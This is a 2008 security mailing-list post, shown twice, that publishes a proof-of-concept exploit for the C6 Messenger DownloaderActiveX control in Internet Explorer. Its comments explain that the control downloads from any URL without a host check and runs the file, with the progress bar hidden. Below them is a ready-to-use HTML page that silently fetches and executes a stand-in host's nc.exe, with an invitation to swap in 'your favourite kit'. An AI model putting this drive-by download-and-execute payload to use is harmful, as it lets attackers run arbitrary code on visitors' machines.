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[NSG 03-06-2008] C6 Messenger Installation Url DownloaderActiveX Control Remote Download & Execute Exploit
Jun 03 2008 07:24PM
ipsdix gmail com
<!--
C6 Messenger Installation Url DownloaderActiveX Control Remote Download
& Execute Exploit
by
Nine:Situations:Group::SnoopyAssault
site: http://retrogod.altervista.org/
exploit url: http://retrogod.altervista.org/9sg_c6_download_exec.html
"C6 Messenger is an instant messaging program produced by Telecom Italia Group,
specifically by Alice (distribution), Icon Spa (development, design and server)
and Opendoc (graphics). It is the only instant messenger entirely produced in
Italy, is a free program, allows you to chat in real time with friends[..]"
installation urls:
http://c6.community.alice.it/home/index.html
http://c6.community.alice.it/download/c6.html
Whoever accessed the second one with IE to install c6 IM is vulnerable to this
threat. Notice that you can pass also local urls to "propDownloadUrl" property
and bypass Internet zone, no host check is performed.
"propPostDownloadAction" one is used to launch the executable.
A progress bar is shown but you can easily make it not visible.
settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
info:
http://www.google.com/search?hl=en&q=c1b7e532-3ecb-4e9e-bb3a-2951ffe67c6
1&meta=&num=100&filter=0
Let me guess, this one is already exploited in the wild...
Thanks Mommy Telecom Italia!!
If you think this poc is useful, please help us to improve our equipment and
donate through the paypal button on our site!
------------------------------------------------------------------------
--------
Goodbye rgod-tsid-pah he-ru-ka!
-->
<HTML>
<BODY>
<OBJECT ID="DownloaderActiveX1"
WIDTH="0"
HEIGHT="0"
CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61"
CODEBASE="DownloaderActiveX.cab#Version=1,0,0,1">
<PARAM NAME="propProgressBackground" VALUE="#bccee8">
<PARAM NAME="propTextBackground" VALUE="#f7f8fc">
<PARAM NAME="propBarColor" VALUE="#df0203">
<PARAM NAME="propTextColor" VALUE="#000000">
<PARAM NAME="propWidth" VALUE="0">
<PARAM NAME="propHeight" VALUE="0">
<PARAM NAME="propDownloadUrl" VALUE="http://yoursite.com/nc.exe"><!-- change to your favourite kit ! :) -->
<PARAM NAME="propPostDownloadAction" VALUE="run"> <!-- lol -->
<PARAM NAME="propInstallCompleteUrl" VALUE="">
<PARAM NAME="propBrowserRedirectUrl" VALUE="">
<PARAM NAME="propVerbose" VALUE="0">
<PARAM NAME="propInterrupt" VALUE="0">
</OBJECT>
</BODY>
</HTML>
[ reply ]
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Copyright 2009, SecurityFocus
C6 Messenger Installation Url DownloaderActiveX Control Remote Download
& Execute Exploit
by
Nine:Situations:Group::SnoopyAssault
site: http://retrogod.altervista.org/
exploit url: http://retrogod.altervista.org/9sg_c6_download_exec.html
"C6 Messenger is an instant messaging program produced by Telecom Italia Group,
specifically by Alice (distribution), Icon Spa (development, design and server)
and Opendoc (graphics). It is the only instant messenger entirely produced in
Italy, is a free program, allows you to chat in real time with friends[..]"
installation urls:
http://c6.community.alice.it/home/index.html
http://c6.community.alice.it/download/c6.html
Whoever accessed the second one with IE to install c6 IM is vulnerable to this
threat. Notice that you can pass also local urls to "propDownloadUrl" property
and bypass Internet zone, no host check is performed.
"propPostDownloadAction" one is used to launch the executable.
A progress bar is shown but you can easily make it not visible.
settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
info:
http://www.google.com/search?hl=en&q=c1b7e532-3ecb-4e9e-bb3a-2951ffe67c6
1&meta=&num=100&filter=0
Let me guess, this one is already exploited in the wild...
Thanks Mommy Telecom Italia!!
If you think this poc is useful, please help us to improve our equipment and
donate through the paypal button on our site!
------------------------------------------------------------------------
--------
Goodbye rgod-tsid-pah he-ru-ka!
-->
<HTML>
<BODY>
<OBJECT ID="DownloaderActiveX1"
WIDTH="0"
HEIGHT="0"
CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61"
CODEBASE="DownloaderActiveX.cab#Version=1,0,0,1">
<PARAM NAME="propProgressBackground" VALUE="#bccee8">
<PARAM NAME="propTextBackground" VALUE="#f7f8fc">
<PARAM NAME="propBarColor" VALUE="#df0203">
<PARAM NAME="propTextColor" VALUE="#000000">
<PARAM NAME="propWidth" VALUE="0">
<PARAM NAME="propHeight" VALUE="0">
<PARAM NAME="propDownloadUrl" VALUE="http://yoursite.com/nc.exe"><!-- change to your favourite kit ! :) -->
<PARAM NAME="propPostDownloadAction" VALUE="run"> <!-- lol -->
<PARAM NAME="propInstallCompleteUrl" VALUE="">
<PARAM NAME="propBrowserRedirectUrl" VALUE="">
<PARAM NAME="propVerbose" VALUE="0">
<PARAM NAME="propInterrupt" VALUE="0">
</OBJECT>
</BODY>
</HTML>
[ reply ]